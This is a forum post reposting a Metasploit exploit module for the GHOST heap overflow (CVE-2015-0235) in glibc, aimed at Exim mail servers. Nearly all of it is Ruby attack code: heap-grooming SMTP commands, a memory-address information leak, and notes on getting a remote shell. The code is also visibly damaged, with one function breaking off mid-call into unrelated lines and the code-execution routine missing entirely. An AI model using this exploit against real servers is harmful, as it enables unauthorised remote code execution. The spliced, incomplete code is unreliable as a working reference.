Jump to content
Aerosol

Exim GHOST (glibc gethostbyname) Buffer Overflow

Recommended Posts

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
'Description' => %q(
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions) on x86
and x86_64 GNU/Linux systems that run the Exim mail server. Technical
information about the exploitation can be found in the original GHOST
advisory, and in the source code of this module.
------------------------------------------------------------------------
SERVER-SIDE REQUIREMENTS (Exim)
------------------------------------------------------------------------
The remote system must use a vulnerable version of the GNU C Library:
the first exploitable version is glibc-2.6, the last exploitable version
is glibc-2.17; older versions might be exploitable too, but this module
depends on the newer versions' fd_nextsize (a member of the malloc_chunk
structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
the heap.
------------------------------------------------------------------------
The remote system must run the Exim mail server: the first exploitable
version is exim-4.77; older versions might be exploitable too, but this
module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
set up the heap as described in the GHOST advisory.
------------------------------------------------------------------------
The remote Exim mail server must be configured to perform extra security
checks against its SMTP clients: either the helo_try_verify_hosts or the
helo_verify_hosts option must be enabled; the "verify = helo" ACL might
be exploitable too, but is unpredictable and therefore not supported by
this module.
------------------------------------------------------------------------
CLIENT-SIDE REQUIREMENTS (Metasploit)
------------------------------------------------------------------------
This module's "exploit" method requires the SENDER_HOST_ADDRESS option
to be set to the IPv4 address of the SMTP client (Metasploit), as seen
by the SMTP server (Exim); additionally, this IPv4 address must have
both forward and reverse DNS entries that match each other
(Forward-Confirmed reverse DNS).
------------------------------------------------------------------------
The remote Exim server might be exploitable even if the Metasploit
client has no FCrDNS, but this module depends on Exim's sender_host_name
variable to be set in order to reliably control the state of the remote
heap.
------------------------------------------------------------------------
TROUBLESHOOTING
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
was not specified.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
the SENDER_HOST_ADDRESS option was specified, but not in IPv4
dotted-decimal notation.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
client (Metasploit), as seen by the SMTP server (Exim).
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
------------------------------------------------------------------------
"not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
is either not vulnerable, or not exploitable (glibc versions older than
glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
------------------------------------------------------------------------
"NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
contains bad characters (NUL, CR, LF) and was therefore mangled during
the information leak; this exploit is able to reconstruct most of these
addresses, but not all (worst-case probability is ~1/85, but could be
further improved).
------------------------------------------------------------------------
"Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
Unix command was executed, but spawned a bind-shell or a reverse-shell
that failed to connect (maybe because of a firewall, or a NAT, etc).
------------------------------------------------------------------------
"Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
remote Unix command was executed, but failed to spawn the shell (maybe
because the setsid command doesn't exist, or awk isn't gawk, or netcat
doesn't support the -6 or -e option, or telnet doesn't support the -z
option, etc).
------------------------------------------------------------------------
Comments and questions are welcome!
),
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
'License' => BSD_LICENSE,
'References' => [
['CVE', '2015-0235'],
['US-CERT-VU', '967332'],
['OSVDB', '117579'],
['BID', '72325'],
['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
],
'DisclosureDate' => 'Jan 27 2015',
'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
'Payload' => {
'Space' => 255, # the shorter the payload, the higher the probability of code execution
'BadChars' => "", # we encode the payload ourselves, because ^
'DisableNops' => true,
'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))

register_options([
Opt::RPORT(25),
OptAddress.new('SENDER_HOST_ADDRESS', [false,
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
], self.class)

register_advanced_options([
OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
], self.class)
end

def check
# for now, no information about the vulnerable state of the target
check_code = Exploit::CheckCode::Unknown

begin
# not exploiting, just checking
smtp_connect(false)

# malloc()ate gethostbyname's buffer, and
# make sure its next_chunk isn't the top chunk

9.times do
smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
smtp_recv(HELO_CODES)
end

# overflow (4 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x00303030

smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
# from now on, an exception means vulnerable
check_code = Exploit::CheckCode::Vulnerable
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/

# realloc()ate gethostbyname's buffer, and
# crash (old glibc) or abort (new glibc)
# on the overwritten size field

smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# a vulnerable target should've crashed by now
check_code = Exploit::CheckCode::Safe

rescue
peer = "#{rhost}:#{rport}"
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")

ensure
smtp_disconnect
end

return check_code
end

def exploit
unless datastore['I_KNOW_WHAT_I_AM_DOING']
print_status("Checking if target is vulnerable...")
fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
print_good("Target is vulnerable.")
end
information_leak
code_execution
end

private

HELO_CODES = '250|451|550'
ANY_CODE = '[0-9]{3}'

MIN_HEAP_SHIFT = 80
MIN_HEAP_SIZE = 128 * 1024
MAX_HEAP_SIZE = 1024 * 1024

# Exim
ALIGNMENT = 8
STORE_BLOCK_SIZE = 8192
STOREPOOL_MIN_SIZE = 256

LOG_BUFFER_SIZE = 8192
BIG_BUFFER_SIZE = 16384

SMTP_CMD_BUFFER_SIZE = 16384
IN_BUFFER_SIZE = 8192

# GNU C Library
PREV_INUSE = 0x1
NS_MAXDNAME = 1025

# Linux
MMAP_MIN_ADDR = 65536

def information_leak
print_status("Trying information leak...")
leaked_arch = nil
leaked_addr = []

# try different heap_shift values, in case Exim's heap address contains
# bad chars (NUL, CR, LF) and was mangled during the information leak;
# we'll keep the longest one (the least likely to have been truncated)

16.times do
done = catch(:another_heap_shift) do
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
print_debug("#{{ heap_shift: heap_shift }}")

# write the malloc_chunk header at increasing offsets (8-byte step),
# until we overwrite the "503 sender not yet given" error message

128.step(256, 8) do |write_offset|
error = try_information_leak(heap_shift, write_offset)
print_debug("#{{ write_offset: write_offset, error: error }}")
throw(:another_heap_shift) if not error
next if error == "503 sender not yet given"

# try a few more offsets (allows us to double-check things,
# and distinguish between 32-bit and 64-bit machines)

error = [error]
1.upto(5) do |i|
error[i] = try_information_leak(heap_shift, write_offset + i*8)
throw(:another_heap_shift) if not error[i]
end
print_debug("#{{ error: error }}")

_leaked_arch = leaked_arch
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86_64

elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86

else
throw(:another_heap_shift)
end
print_debug("#{{ leaked_arch: leaked_arch }}")
fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch

# try different large-bins: most of them should be empty,
# so keep the most frequent fd_nextsize address
# (a pointer to the malloc_chunk itself)

count = Hash.new(0)
0.upto(9) do |last_digit|
error = try_information_leak(heap_shift, write_offset, last_digit)
next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
count[error] += 1
end
print_debug("#{{ count: count }}")
throw(:another_heap_shift) if count.empty?

# convert count to a nested array of [key, value] arrays and sort it
error_count = count.sort { |a, b| b[1] <=> a[1] }
error_count = error_count.first # most frequent
error = error_count[0]
count = error_count[1]
throw(:another_heap_shift) unless count >= 6 # majority
leaked_addr.push({ error: error, shift: heap_shift })

# common-case shortcut
if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
(leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
leaked_addr = [leaked_addr.last] # use this one, and not another
throw(:another_heap_shift, true) # done
end
throw(:another_heap_shift)
end
throw(:another_heap_shift)
end
break if done
end

fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?

leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
leaked_addr = leaked_addr.first # longest
error = leaked_addr[:error]
shift = leaked_addr[:shift]

leaked_addr = 0
(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
break if i >= error.length
leaked_addr += error.unpack('C*')[i] * (2**(i*8))
end
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR

print_good("Successfully leaked_arch: #{leaked_arch}")
print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
@leaked = { arch: leaked_arch, addr: leaked_addr }
end

def try_information_leak(heap_shift, write_offset, last_digit = 9)
fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/

smtp_connect

# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)

smtp_send("HELO ", "", "0", @sender

# avoid a future pathological case by forcing it now:
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
smtp_recv(501, 'sender address must contain a domain')

smtp_send("RSET")
smtp_recv(250, 'Reset OK')
end

def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
@smtp_state = :sending

if not arg_pattern
fail_with("smtp_send", "prefix is nil") if not prefix
fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
command = prefix

else
fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
length = arg_length - arg_prefix.length - arg_suffix.length
fail_with("smtp_send", "len is #{length}") if length <= 0
argument = arg_prefix
case arg_pattern
when String
argument += arg_pattern * (length / arg_pattern.length)
argument += arg_pattern[0, length % arg_pattern.length]
when Method
argument += arg_pattern.call(length)
end
argument += arg_suffix
fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
command = prefix + argument + suffix
end

fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer

# the following loop works around a bug in the put() method:
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
# (or send_idx and/or send_len could be removed altogether, like here)

while command and not command.empty?
num_sent = sock.put(command)
fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
command = command[num_sent..-1]
end

@smtp_state = :recv
end

def smtp_recv(expected_code = nil, expected_data = nil)
fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
@smtp_state = :recving

failure = catch(:failure) do

# parse SMTP replies very carefully (the information
# leak injects arbitrary data into multiline replies)

data = ""
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
begin
more_data = sock.get_once
rescue
throw(:failure, "Caught #{$!.class}: #{$!.message}")
end
throw(:failure, "no more data") if more_data.nil?
throw(:failure, "no more data") if more_data.empty?
data += more_data
end

throw(:failure, "malformed reply (count)") if data.count("\0") > 0
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
throw(:failure, "malformed reply (empty)") if lines.empty?

code = nil
lines.size.times do |i|
lines[i].sub!(/\A\r\n/mn, "")
lines[i] += "\r\n"

if i == 0
code = lines[i][0,3]
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
if expected_code and code !~ /\A(#{expected_code})\z/mn
throw(:failure, "unexpected #{code}, expected #{expected_code}")
end
end

line_begins_with = lines[i][0,4]
line_should_begin_with = code + (i == lines.size-1 ? " " : "-")

if line_begins_with != line_should_begin_with
throw(:failure, "line begins with #{line_begins_with}, " \
"should begin with #{line_should_begin_with}")
end
end

throw(:failure, "malformed reply (join)") if lines.join("") != data
if expected_data and data !~ /#{expected_data}/mn
throw(:failure, "unexpected data")
end

reply = { code: code, lines: lines }
@smtp_state = :send
return reply
end

fail_with("smtp_recv", "#{failure}") if expected_code
return nil
end

def smtp_disconnect
disconnect if sock
fail_with("smtp_disconnect", "sock isn't nil") if sock
@smtp_state = :disconnected
end
end

Source

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...